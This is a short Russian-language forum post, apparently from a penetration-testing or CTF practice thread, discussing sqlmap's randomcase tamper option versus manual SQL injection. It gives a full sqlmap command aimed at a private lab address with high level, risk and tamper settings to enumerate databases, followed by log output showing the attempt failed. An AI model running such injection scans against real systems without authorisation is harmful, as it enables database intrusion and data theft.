~~DarkNode~~ сказал(а):
--tamper randomcase
Впринципе можно,но он криво крутит и намного дольше чем руками,хотя вектор ним обнаружить можно.
Руки удобнее, спортивнее. Однако если 2, 3 задания исполнять =) И автоматизация иногда выручает.
ПС Ради интереса
sqlmap --random-agent --url http://192.168.101.9:443/post.php?id=INJECTION_HERE --crawl=2 --batch --dbs --level=3 --risk=3 --tamper randomcase --hex
посмотрю сколько времени займет и каков будет итог
Дополняю
ушло 3 минуты, НО
[21:08:24] [ERROR] unable to retrieve the number of databases
[21:08:24] [INFO] falling back to current database
[21:08:24] [INFO] fetching current database
[21:08:25] [INFO] retrieved:
[21:08:25] [ERROR] unable to retrieve the database names, skipping to the next URL
не смог он базы определить, я так понимаю не хватает параметра.